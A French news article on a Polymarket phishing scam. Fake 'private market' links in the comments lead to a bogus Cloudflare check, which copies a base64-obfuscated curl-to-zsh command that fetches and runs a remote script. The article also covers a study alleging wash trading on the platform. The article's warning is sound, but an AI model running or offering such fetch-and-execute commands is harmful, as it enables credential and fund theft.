Liens de phishing dans les marchés privés de Polymarket : Les utilisateurs lancent l'alerte

Polymarket est encore une fois à la une, cette fois-ci parce que l'un de ses traders seniors, connu sous le surnom de « 25usdc », a lancé l'alerte concernant une arnaque qui utilise la section commentaires de la plateforme pour s'en prendre aux utilisateurs imprudents. 

Cela se produit à un moment crucial pour la plateforme Polymarket, qui se prépare à réintégrer le marché américain et peine à devancer ses concurrents comme Kalshi. 

Les traders de Polymarket en état d'alerte maximale 

Selon 25usdc, des pirates informatiques exploitent la section commentaires de Polymarket pour mener une arnaque, et jusqu'à présent, les utilisateurs ont perdu plus de 500 000 $.

« Ils disent : 'Pourquoi ne tradez-vous pas sur les marchés privés de Polymarket ? Les cotes y sont toujours bien meilleures !' » a écrit 25usdc, avant d'expliquer le fonctionnement de cette arnaque. 

Selon lui, tout commence par l'achat d'actions « Oui » et « Non » pour un marché depuis deux comptes distincts. De cette façon, leurs commentaires restent visibles même lorsque le filtre « Holders » est activé. Ensuite, ils publient une URL vers leur site sous une forme obscurcie.

L'URL dirige l'utilisateur imprudent vers une page au look propre avec le logo de Polymarket et demande aux utilisateurs de se connecter par e-mail. Une fois l'e-mail vérifié, une nouvelle fenêtre s'ouvre demandant à l'utilisateur de vérifier son activité, imitant CloudFlare. 

Cependant, 25usdc explique que lorsque vous cliquez sur « Copier », une commande ressemblant à ceci « curl -kfsSL $(echo 'ENCODED_STRING=='|base64 -d)|zsh » est copiée à la place. La première chose qu'elle fait, si l'utilisateur fait l'erreur de la coller dans son terminal, est de décoder la chaîne encodée en base64 (une URL de serveur), puis de récupérer un script depuis ce serveur et de l'exécuter immédiatement. 

Le script en question peut contenir n'importe quoi, et il n'y aura apparemment aucun avertissement contextuel, moment à partir duquel les dégâts sont faits. Selon 25usdc, le seul remède pourrait alors être de couper le Wi-Fi. 

« Finalement, ils recueillent des données, enregistrent tout sur votre système et renvoient un fichier zip à leur serveur », a écrit 25usdc. « Ils utilisent ensuite ces données pour se connecter à vos comptes et voler votre argent. »

Autres éléments qu'il a remarqués : la façon dont le groupe opère avec soin ; par exemple, ils couvrent leurs traces en changeant souvent de portefeuilles, obscurcissent à chaque étape, et arrêtent même le serveur qui envoie les charges utiles et reçoit les données enregistrées lorsqu'il n'y a pas de victime active.

« Je pense que le meilleur moyen de résoudre ce problème est de permettre aux utilisateurs de confiance de modérer les commentaires ou d'introduire un système de vote négatif qui masque les posts fortement votés négativement », a conclu 25usdc tout en soulignant que le simple mettant en garde Polymarket affiche actuellement ne suffira pas. 

Avis important : Il n'existe aucun site web de « marché privé » Polymarket avec des « cotes meilleures »

N'entrez jamais votre e-mail Polymarket ou votre code de vérification de connexion sur quoi que ce soit d'autre que notre site officiel.

— Polymarket Traders (@PolymarketTrade) 9 novembre 2025

Une nouvelle étude affirme que le volume de Polymarket est soutenu par du wash trading

Comme l'a signalé Cryptopolitan a rapporté, une étude récemment publiée par des chercheurs de l'Université de Columbia affirme que le volume d'activité sur Polymarket a été considérablement gonflé par du wash trading. 

Le « trading artificiel », comme l'ont nommé les auteurs, a varié dans le temps, mais ils affirment qu'il représentait en moyenne 25 % de tous les achats et ventes sur Polymarket au cours des trois dernières années. 

L'article n'a pas encore fait l'objet d'une évaluation par les pairs mais est déjà disponible sur la plateforme de recherche en accès libre SSRN et est examiné par Polymarket. 

Pour être clair, les auteurs n'accusent pas directement Polymarket lui-même du wash trading. Cependant, ils ont mis en évidence des éléments de la structure basée sur les cryptomonnaies de l'échange qui rendent cette affirmation plausible.  

Ils ont également suggéré que les clients de l'entreprise pourraient avoir indépendamment engagé ledit wash trading dans le but d'améliorer leurs chances d'obtenir l'accès à un jeton numérique propriétaire que le fondateur de l'entreprise, Shayne Coplan, a hinted comme étant potentiellement lancé dès le 8 octobre. 

« J'espère que Polymarket accueillera favorablement l'analyse de notre article », a déclaré Yash Kanoria, professeur à la business school de l'Université de Columbia et l'un des quatre co-auteurs de l'article, dans un e-mail. « Le wash trading n'ajoute ni liquidité ni information au marché, il semble donc précieux de distinguer le volume authentique du volume inauthentique. »

Si une partie du volume de Polymarket est véritablement « fictive », l'étude affirme qu'elle pourrait modifier la compréhension de la force relative de Polymarket dans l'industrie et également miner la notion actuelle selon laquelle les marchés de prédiction reflètent la « sagesse d'une foule plus large ».

« Le potentiel de wash trading à grande échelle signifie que le volume peut être peu fiable en tant que mesure de l'activité authentique de la plateforme, en particulier dans les échanges basés sur les cryptomonnaies qui peuvent ne pas avoir de sauvegardes appropriées », ont conclu les auteurs.